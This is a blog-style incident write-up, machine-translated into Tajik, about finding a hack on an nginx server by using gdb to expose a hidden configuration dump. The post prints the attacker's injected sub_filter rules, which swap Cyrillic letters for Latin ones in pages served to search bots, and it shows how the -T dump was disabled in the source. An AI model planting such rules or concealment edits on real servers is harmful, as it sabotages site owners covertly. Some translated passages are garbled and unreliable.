Вақте ки "а" ба "а" баробар нест. Дар паи як хак

Бо яке аз дӯстонам як ҳикояи ногуворе рӯй дод. Аммо барои Михаил хар кадар нохушоянд бошад хам, барои ман хам шавковар буд.

Бояд бигӯям, ки дӯсти ман комилан аст UNIX-корбар: метавонад системаро худаш насб кунад MySQL, PHP ва танзимоти оддӣ кунед nginx.
Ва ӯ даҳҳо ё якуним вебсайт дорад, ки ба асбобҳои сохтмонӣ бахшида шудааст.

Яке аз ин сайтҳое, ки ба занҷирҳо бахшида шудаанд, дар ТОП муҳаррикҳои ҷустуҷӯ қарор доранд. Ин сайт як таҳлилгари ғайритиҷоратӣ аст, аммо касе одат кардааст, ки ба он ҳамла кунад. ки DDoS, баъд зуроварии берахмона, баъд коментарияхои фахш менависанд ва ба хостингу РКН суиистифода мефиристанд.
Ногаҳон ҳама чиз ором шуд ва ин оромӣ хуб набуд ва сайт тадриҷан сатрҳои болоии натиҷаҳои ҷустуҷӯро тарк кард.

Вақте ки "а" ба "а" баробар нест. Дар паи як хак

Ин гап буд, пас худи саргузашти админ.

Вақти хоб наздик шуда буд, ки телефон занг зад: «Сан, ба сервери ман нигоҳ намекунӣ? Ба назарам чунин менамояд, ки маро ҳакер кардаанд, ман инро исбот карда наметавонам, аммо ин эҳсос маро ҳафтаи сеюм тарк накардааст. Шояд вақти он расидааст, ки ман аз паранойя табобат гирам? ”

Баъд аз он як мубоҳисаи нимсоата буд, ки онро метавон ба таври зерин ҷамъбаст кард:

  • замин барои ҳакерӣ хеле ҳосилхез буд;
  • ҳамлакунанда метавонад ҳуқуқи суперкорбарро ба даст орад;
  • ҳамла (агар он сурат гирифта бошад) махсусан дар ин сайт ҳадаф қарор гирифт;
  • минтақаҳои мушкилот ислоҳ карда шуданд ва шумо танҳо бояд фаҳмед, ки оё ягон воридшавӣ вуҷуд дорад;
  • хак ба коди сайт ва базахои маълумотхо таъсир карда натавонист.

Вобаста ба нуктаи охирин.

Вақте ки "а" ба "а" баробар нест. Дар паи як хак

Танҳо IP пеши сафед ба ҷаҳон назар мекунад. Байни ақибмондаҳо ва фронтҳо ба истиснои http(ҳо) ҳеҷ гуна мубодила вуҷуд надорад, корбарон/паролҳо гуногунанд, ягон калид иваз карда нашудааст. Дар суроғаҳои хокистарӣ, ҳама бандарҳо ба истиснои 80/443 бастаанд. IP-ҳои пушти сафед танҳо ба ду корбар маълуманд, ки Михаил ба онҳо комилан эътимод дорад.

Дар пештара насб карда шудааст Debian 9 ва ҳангоми занг задан, система аз ҷаҳон тавассути девори беруна ҷудо карда мешавад ва қатъ карда мешавад.

"Хуб, ба ман дастрасӣ диҳед" ман қарор додам, ки хобро барои як соат ба таъхир гузорам. "Ман бо чашмони худ мебинам."

Дар ин ҷо ва минбаъд:

$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1

Ҷустуҷӯи хаки эҳтимолӣ

Ман серверро оғоз мекунам, аввал дар ҳолати наҷотдиҳӣ. Ман дискҳоро насб мекунам ва онҳоро варақ мекунам автор-журналҳо, таърих, гузоришҳои системавӣ ва ғайра, агар имкон бошад, ман санаи эҷоди файлро тафтиш мекунам, гарчанде ки ман мефаҳмам, ки як крекери муқаррарӣ аз паси худ "рӯфта" мешуд ва Миша ҳангоми ҷустуҷӯи худ аллакай бисёр "поён" карда буд. .

Ман дар реҷаи муқаррарӣ сар мекунам, ҳанӯз намефаҳмам, ки чиро ҷустуҷӯ кунам, ман конфигуратсияҳоро меомӯзам. Пеш аз ҳама, ман ба он таваҷҷӯҳ дорам nginx зеро, умуман, дар фронт ба ҷуз он чизи дигаре нест.
Конфигуратсияҳо хурданд, ба даҳҳо файлҳо хуб сохторбандӣ шудаанд, ман танҳо онҳоро аз назар мегузаронам гурба'о як ба як. Ҳама чиз тоза ба назар мерасад, аммо шумо ҳеҷ гоҳ намедонед, ки оё ман чизеро аз даст додаам дохил кунед, ба ман иҷозат диҳед, ки рӯйхати пурраи худро гузорам:

$ nginx -T
nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful

Ман нафаҳмидам: "Рӯйхат дар куҷост?"

$ nginx -V
nginx version: nginx/1.10.3
TLS SNI support enabled
configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module

Саволи дуюм ба саволи листинг илова карда мешавад: "Чаро чунин версияи қадимии nginx?"

Илова бар ин, система боварӣ дорад, ки версияи охирин насб шудааст:

$ dpkg -l nginx | grep "[n]ginx"
ii  nginx          1.14.2-2+deb10u1 all          small, powerful, scalable web/proxy server

Ман занг мезанам:
— Миша, чаро аз нав васл кардй nginx?
- Истед, ман ҳатто намедонам, ки чӣ тавр ин корро кунам!
- Хуб, хоб рав...

Nginx он ба таври равшан аз нав сохта шудааст ва баромади листинг бо истифода аз "-T" бо як сабаб пинҳон аст. Дар бораи ҳакерӣ дигар шубҳае нест ва шумо метавонед онро танҳо қабул кунед ва (азбаски Миша серверро бо сервери нав иваз кард) мушкилотро ҳалшуда ҳисоб кунед.

Ва дар ҳақиқат, азбаски касе ҳуқуқ ба даст овард реша'Аҳ, пас ин танҳо маъно дорад аз нав насб кардани система, ва дар он ҷо ҷустуҷӯ кардан бефоида буд, аммо ин дафъа кунҷковӣ хобро мағлуб кард. Чӣ тавр мо метавонем фаҳмем, ки онҳо аз мо чӣ пинҳон кардан мехостанд?

Биёед кӯшиш кунем, ки пайгирӣ кунем:

$ strace nginx -T

Мо ба он назар мекунем, дар пайраҳаи а ла хатҳои кофӣ нестанд

write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf)   = 21
write(1, "...
write(1, "n", 1

Танҳо барои фароғат, биёед бозёфтҳоро муқоиса кунем.

$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264

Ман фикр мекунам як қисми код /src/core/nginx.c

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 1;
                break;

ба шакл оварда шуд:

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                //ngx_dump_config = 1;
                break;

ё

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 0;
                break;

бинобар ин рӯйхат аз ҷониби "-T" намоиш дода намешавад.

Аммо чӣ гуна мо конфигуратсияи худро дида метавонем?

Агар фикри ман дуруст бошад ва мушкилот танҳо дар тағирёбанда бошад ngx_dump_config биёед кӯшиш кунем, ки онро бо истифода аз насб кунем gdb, хушбахтона як калид вуҷуд дорад --with-cc-opt -g ҳозир ва умедворем, ки оптимизатсия -О2 ба мо зарар намерасонад. Дар айни замон, зеро ман намедонам, ки чӣ тавр ngx_dump_config коркард кардан мумкин буд ҳолати 'T':, мо ин блокро даъват намекунем, аммо онро бо истифода аз насб ҳолати 't':

Чаро шумо метавонед '-t' ва инчунин '-T' -ро истифода баредКоркарди блок агар(ngx_dump_config) дарун ба амал меояд агар(ngx_test_config):

    if (ngx_test_config) {
        if (!ngx_quiet_mode) {
            ngx_log_stderr(0, "configuration file %s test is successful",
                           cycle->conf_file.data);
        }

        if (ngx_dump_config) {
            cd = cycle->config_dump.elts;

            for (i = 0; i < cycle->config_dump.nelts; i++) {

                ngx_write_stdout("# configuration file ");
                (void) ngx_write_fd(ngx_stdout, cd[i].name.data,
                                    cd[i].name.len);
                ngx_write_stdout(":" NGX_LINEFEED);

                b = cd[i].buffer;

                (void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
                ngx_write_stdout(NGX_LINEFEED);
            }
        }

        return 0;
    }

Албатта, агар код дар ин бахш иваз карда шавад, на дар ҳолати 'T':, пас усули ман кор намекунад.

Санҷиши nginx.confПроблемаро аллакай ба таври таҷрибавӣ ҳал карда, муайян карда шуд, ки барои кор кардани нармафзори зараровар конфигуратсияи ҳадди аққал лозим аст nginx навъи:

events {
}

http {
	include /etc/nginx/sites-enabled/*;
}

Мо онро барои мухтасар дар мақола истифода хоҳем кард.

Debuger -ро оғоз кунед

$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188     src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}

http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

        include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:

[Inferior 1 (process 32581) exited normally]
(gdb) quit

Кадам ба кадам:

  • нуқтаи қатъро дар функсия муқаррар кунед асосӣ ()
  • барномаро оғоз кунед
  • тағир додани арзиши тағирёбанда, ки баромади конфигуратсияро муайян мекунад ngx_dump_config=1
  • давом додан/ба охир расондани барнома

Тавре ки мо мебинем, конфигуратсияи воқеӣ аз конфигуратсияи мо фарқ мекунад, мо аз он порчаи паразитиро интихоб мекунем:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Биёед бубинем, ки дар ин ҷо чӣ рӯй медиҳад.

Муайян карда шудааст Корбар-Агент'yandex/google:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

Саҳифаҳои хидматӣ истисно карда мешаванд WordPress:

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

Ва барои онҳое, ки ба ҳарду шартҳои дар боло овардашуда афтодаанд

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

дар матн HTML-саҳифаҳо иваз мешаванд 'Эй ба 'о' и 'А' ба 'а':

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Дуруст аст, ягона нозукии он аст 'a' != 'a' мисли 'o' != 'o':

Вақте ки "а" ба "а" баробар нест. Дар паи як хак

Ҳамин тариқ, ботҳои муҳаррики ҷустуҷӯ ба ҷои матни муқаррарии 100% кириллӣ партовҳои таҳриршуда, ки бо лотин омехта шудаанд, мегиранд. 'а' и 'о'. Ман ҷуръат намекунам муҳокима кунам, ки ин ба SEO чӣ гуна таъсир мерасонад, аммо гумон аст, ки чунин омехтаи ҳарфҳо ба мавқеъҳо дар натиҷаҳои ҷустуҷӯ таъсири мусбӣ расонад.

Чй гуфта метавонам, бачахои хаёлот.

мурожиат

Debugging бо GDB
gdb(1) — саҳифаи одами Linux
strace(1) — саҳифаи одами Linux
Nginx - Модули ngx_http_sub_module
Дар бораи арра, занҷир ва арраҳои электрикӣ

Манбаъ: will.com

Илова Эзоҳ